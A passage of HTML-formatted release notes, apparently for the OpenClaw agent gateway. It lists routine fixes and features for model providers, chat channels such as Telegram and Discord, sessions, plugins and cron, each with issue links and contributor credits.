<p>CLI/models: report gateway model fallback attempts in <code>infer model run --json</code> and avoid double-prefixing provider-qualified defaults such as <code>openrouter/auto</code> in <code>models status</code>. Partially fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4299726655" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69527" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69527/hovercard" href="https://github.com/openclaw/openclaw/issues/69527">#69527</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexifra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexifra">@alexifra</a>.</p>
</li>
<li>
<p>Providers/OpenRouter: strip trailing assistant prefill turns from verified OpenRouter Anthropic model requests when reasoning is enabled, so Claude 4.6 routes no longer fail with Anthropic's prefill rejection through the OpenAI-compatible adapter. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362626247" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75395" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75395/hovercard" href="https://github.com/openclaw/openclaw/issues/75395">#75395</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sbmilburn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sbmilburn">@sbmilburn</a>.</p>
</li>
<li>
<p>Voice Call: add per-number inbound routing for dialed-number greetings, response agents/models/prompts, and TTS voice overrides. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161590255" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56604/hovercard" href="https://github.com/openclaw/openclaw/issues/56604">#56604</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/healthstatus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/healthstatus">@healthstatus</a>.</p>
</li>
<li>
<p>Feishu: preserve Feishu/Lark HTTP error bodies for message sends, media sends, and chat member lookups, so HTTP 400 failures include vendor code, message, log id, and troubleshooter details. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346852455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73860" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73860/hovercard" href="https://github.com/openclaw/openclaw/issues/73860">#73860</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/desksk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/desksk">@desksk</a>.</p>
</li>
<li>
<p>Agents/transcripts: avoid reopening large Pi transcript files through the synchronous session manager for maintenance rewrites, persisted tool-result truncation, manual compaction boundary hardening, and queued compaction rotation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</p>
</li>
<li>
<p>Web search/Exa: accept <code>plugins.entries.exa.config.webSearch.baseUrl</code>, normalize it to the Exa <code>/search</code> endpoint, and partition cached results by endpoint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4140768584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54928/hovercard" href="https://github.com/openclaw/openclaw/issues/54928">#54928</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4140867375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54939" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54939/hovercard" href="https://github.com/openclaw/openclaw/pull/54939">#54939</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrpl327/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrpl327">@mrpl327</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lyfuci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lyfuci">@lyfuci</a>.</p>
</li>
<li>
<p>Web search/MiniMax: include MiniMax Search in the web-search setup flow and let <code>MINIMAX_API_KEY</code> participate in MiniMax Search auto-detection. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252993330" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65828" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65828/hovercard" href="https://github.com/openclaw/openclaw/pull/65828">#65828</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: preserve official source-linked trust through archive installs, so OpenClaw can install trusted ClawHub plugin packages that trigger the built-in dangerous-pattern scanner. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: install package runtime dependencies for archive-backed plugin installs, so ClawHub packages such as WhatsApp load declared dependencies after download. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/tools: cache repeated plugin tool factory results only for matching request context, reducing per-turn tool prep without leaking sandbox, session, browser, delivery, or runtime config state. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367960262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75956" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75956/hovercard" href="https://github.com/openclaw/openclaw/issues/75956">#75956</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</p>
</li>
<li>
<p>Providers/LM Studio: allow <code>models.providers.lmstudio.params.preload: false</code> to skip OpenClaw's native model-load call so LM Studio JIT loading, idle TTL, and auto-evict can own model lifecycle. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367728807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75921" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75921/hovercard" href="https://github.com/openclaw/openclaw/issues/75921">#75921</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garyd9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garyd9">@garyd9</a>.</p>
</li>
<li>
<p>Agents/transcripts: keep chat history, restart recovery, fork token checks, and stale-token compaction checks on bounded async transcript reads or cached async indexes instead of reparsing large session files. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</p>
</li>
<li>
<p>Telegram: inherit the process DNS result order for Bot API transport and downgrade recovered sticky IPv4 fallback promotions to debug logs, while keeping pinned-IP escalation warnings visible. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367563919" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75904" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75904/hovercard" href="https://github.com/openclaw/openclaw/issues/75904">#75904</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/highfly-hi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/highfly-hi">@highfly-hi</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Sessions: keep durable external conversation pointers, including group and thread-scoped chat sessions, out of age, count, and disk-budget maintenance eviction while still allowing synthetic runtime entries to age out. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175356638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58088/hovercard" href="https://github.com/openclaw/openclaw/issues/58088">#58088</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drinkflav/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drinkflav">@drinkflav</a>.</p>
</li>
<li>
<p>Web search/MiniMax: allow <code>MINIMAX_OAUTH_TOKEN</code> to satisfy MiniMax Search credentials, so OAuth-authorized MiniMax Token Plan setups do not need a separate web-search key. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252008941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65768" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65768/hovercard" href="https://github.com/openclaw/openclaw/issues/65768">#65768</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kikibrian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kikibrian">@kikibrian</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>.</p>
</li>
<li>
<p>Providers/MiniMax: derive Coding Plan usage polling from the configured MiniMax base URL, so global setups no longer query the CN usage host. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246049228" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65054" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65054/hovercard" href="https://github.com/openclaw/openclaw/issues/65054">#65054</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sixone74/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sixone74">@sixone74</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Yanhu007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Yanhu007">@Yanhu007</a>.</p>
</li>
<li>
<p>Control UI/WebChat: skip assistant-media transcript supplements when stale media refs resolve to no playable media, so text-only final replies are not stored a second time as gateway-injected assistant messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347391100" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73956" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73956/hovercard" href="https://github.com/openclaw/openclaw/issues/73956">#73956</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</p>
</li>
<li>
<p>Sessions: reject <code>sessions_send</code> targets that resolve to thread-scoped chat sessions, so inter-agent coordination cannot be injected into active human-facing Slack or Discord threads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117274546" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52496" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52496/hovercard" href="https://github.com/openclaw/openclaw/issues/52496">#52496</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/barry-p5cc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/barry-p5cc">@barry-p5cc</a>.</p>
</li>
<li>
<p>Subagents: honor <code>sessions_spawn</code> with <code>expectsCompletionMessage: false</code> by skipping parent completion handoff delivery while still running child cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367072418" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75848" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75848/hovercard" href="https://github.com/openclaw/openclaw/issues/75848">#75848</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</p>
</li>
<li>
<p>Media/completions: treat media-only message-tool sends as delivered async completion output, avoiding duplicate raw <code>MEDIA:</code> fallback posts after video or music generation finishes.</p>
</li>
<li>
<p>Gateway/logging: keep deferred channel startup logs on the subsystem logger, so Slack, Discord, Telegram, and voice-call startup messages keep timestamped prefixes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Codex/app-server: recover JSON-RPC frames split by raw command-output newlines and include a redacted preview when malformed app-server messages still reach the console. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Replies/typing: keep typing alive for queued follow-up messages that are genuinely waiting behind an active run, instead of making chat surfaces look idle while work is queued. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251046189" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65685" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65685/hovercard" href="https://github.com/openclaw/openclaw/issues/65685">#65685</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/papag00se/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/papag00se">@papag00se</a>.</p>
</li>
<li>
<p>ACP/Discord: suppress completion announce delivery for inline thread-bound ACP session runs, so Discord thread-bound ACP replies are not delivered twice. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204352483" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60780" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60780/hovercard" href="https://github.com/openclaw/openclaw/issues/60780">#60780</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solavrc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solavrc">@solavrc</a>.</p>
</li>
<li>
<p>Discord/threads: ignore webhook-authored copies in already-bound Discord session threads even when the webhook id differs, preventing PluralKit proxy copies from creating duplicate turn pressure. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4114424047" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52005" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52005/hovercard" href="https://github.com/openclaw/openclaw/issues/52005">#52005</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/acgh213/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/acgh213">@acgh213</a>.</p>
</li>
<li>
<p>Discord/threads: return the created thread as partial success when the follow-up initial message fails, so agents do not retry thread creation and create empty duplicate threads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4084295408" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48450" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48450/hovercard" href="https://github.com/openclaw/openclaw/issues/48450">#48450</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dahifi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dahifi">@dahifi</a>.</p>
</li>
<li>
<p>Discord/components: consume every button or select in a non-reusable component message after the first authorized click, so single-use panels cannot fire sibling callbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4132338088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54227/hovercard" href="https://github.com/openclaw/openclaw/issues/54227">#54227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fujiwarakasei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fujiwarakasei">@fujiwarakasei</a>.</p>
</li>
<li>
<p>macOS/config: preserve existing <code>gateway.auth</code> and unrelated config keys during app fallback writes, so dashboard or Talk settings changes cannot strand Control UI clients by dropping persisted auth. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4364348126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75631" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75631/hovercard" href="https://github.com/openclaw/openclaw/issues/75631">#75631</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Fuma2013/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Fuma2013">@Fuma2013</a>.</p>
</li>
<li>
<p>Control UI/TUI: keep reconnecting chat sends bound to the same backing session id and let TUI relaunches resume the last selected session, avoiding silent fresh sessions after refresh, reconnect, or terminal restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4225359321" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63195" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63195/hovercard" href="https://github.com/openclaw/openclaw/issues/63195">#63195</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4283461066" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68162" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68162/hovercard" href="https://github.com/openclaw/openclaw/issues/68162">#68162</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342917722" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73546" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73546/hovercard" href="https://github.com/openclaw/openclaw/issues/73546">#73546</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bond260312-cmyk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bond260312-cmyk">@bond260312-cmyk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhong18804784882/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhong18804784882">@zhong18804784882</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mtuwei/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mtuwei">@mtuwei</a>.</p>
</li>
<li>
<p>Plugins/tools: let plugin manifests declare static tool availability so reply startup skips unavailable plugin tool runtimes instead of importing factories that only return <code>null</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Discord/reactions: skip reaction listener registration when DMs and group DMs are disabled and every configured guild has <code>reactionNotifications: "off"</code>, avoiding needless reaction-event queue work. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078796783" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47516" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47516/hovercard" href="https://github.com/openclaw/openclaw/issues/47516">#47516</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/x4v13r1120/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/x4v13r1120">@x4v13r1120</a>.</p>
</li>
<li>
<p>CLI sessions: preserve explicit manual-attach reuse bindings so trusted CLI sessions are not invalidated on the first turn when auth, prompt, or MCP fingerprints drift. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367072718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75849" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75849/hovercard" href="https://github.com/openclaw/openclaw/issues/75849">#75849</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</p>
</li>
<li>
<p>Telegram/streaming: keep partial preview streaming enabled for plain reply-to replies, disabling drafts only for real native quote excerpts that require Telegram quote parameters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342577179" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73505" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73505/hovercard" href="https://github.com/openclaw/openclaw/issues/73505">#73505</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/choury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/choury">@choury</a>.</p>
</li>
<li>
<p>Config: log the "newer OpenClaw" version warning once per process instead of once per config snapshot read. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367749952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75927" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75927/hovercard" href="https://github.com/openclaw/openclaw/pull/75927">#75927</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</p>
</li>
<li>
<p>Telegram/message actions: treat benign delete-message 400s as no-op warnings instead of runtime errors, so stale or already-removed messages do not create noisy delete failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345339727" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73726" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73726/hovercard" href="https://github.com/openclaw/openclaw/issues/73726">#73726</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Avicennasis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Avicennasis">@Avicennasis</a>.</p>
</li>
<li>
<p>Telegram: split long default markdown sends and media follow-up text into safe HTML chunks, so outbound messages over Telegram's limit no longer fail as one oversized Bot API request. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367257816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75868" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75868/hovercard" href="https://github.com/openclaw/openclaw/issues/75868">#75868</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhengsx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhengsx">@zhengsx</a>.</p>
</li>
<li>
<p>Gateway/chat history: merge Claude CLI transcript imports for Anthropic-routed sessions that still have a Claude CLI binding, so local chat history does not hide CLI JSONL turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367073060" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75850" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75850/hovercard" href="https://github.com/openclaw/openclaw/issues/75850">#75850</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfredjbclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfredjbclaw">@alfredjbclaw</a>.</p>
</li>
<li>
<p>Media: trim serialized JSON suffixes after local <code>MEDIA:</code> directive file extensions, so generated-image metadata cannot pollute the parsed media path and cause false <code>ENOENT</code> delivery failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360047482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75182" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75182/hovercard" href="https://github.com/openclaw/openclaw/issues/75182">#75182</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TnzGit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TnzGit">@TnzGit</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Plugins/runtime: hot-reload Gateway plugin runtime surfaces after plugin enable/disable changes while keeping source-changing plugin install, update, and uninstall operations restart-backed so loaded module code is not reused. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330564867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72097" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72097/hovercard" href="https://github.com/openclaw/openclaw/issues/72097">#72097</a>.</p>
</li>
<li>
<p>Cron: make scheduler reload schedule comparison tolerate malformed persisted jobs, so one bad cron entry no longer aborts the whole tick. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367497925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75886" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75886/hovercard" href="https://github.com/openclaw/openclaw/issues/75886">#75886</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samfox-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samfox-ai">@samfox-ai</a>.</p>
</li>
<li>
<p>Doctor/channels: warn after migrations when default Telegram or Discord accounts have no configured token and their env fallback (<code>TELEGRAM_BOT_TOKEN</code> or <code>DISCORD_BOT_TOKEN</code>) is unavailable, with secret-safe migration docs for checking state-dir <code>.env</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350080379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74298" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74298/hovercard" href="https://github.com/openclaw/openclaw/issues/74298">#74298</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lolaopenclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lolaopenclaw">@lolaopenclaw</a>.</p>
</li>
<li>
<p>Gateway/diagnostics: keep idle liveness samples in telemetry instead of visible warning logs unless diagnostic work is active, waiting, or queued. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Channels/cron: reject provider-prefixed targets for the wrong channel and let prefixed announce targets such as <code>telegram:123</code> select their channel when delivery falls back to <code>last</code>, so Telegram IDs cannot be coerced into WhatsApp phone numbers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162988650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56839" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56839/hovercard" href="https://github.com/openclaw/openclaw/issues/56839">#56839</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bencoremans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bencoremans">@bencoremans</a>.</p>
</li>
<li>
<p>Control UI/chat: keep live replies visible when a raw session alias such as <code>main</code> sends the chat turn but Gateway emits events under the canonical session key for the same run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345216396" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73716" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73716/hovercard" href="https://github.com/openclaw/openclaw/issues/73716">#73716</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teebes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teebes">@teebes</a>.</p>
</li>
<li>
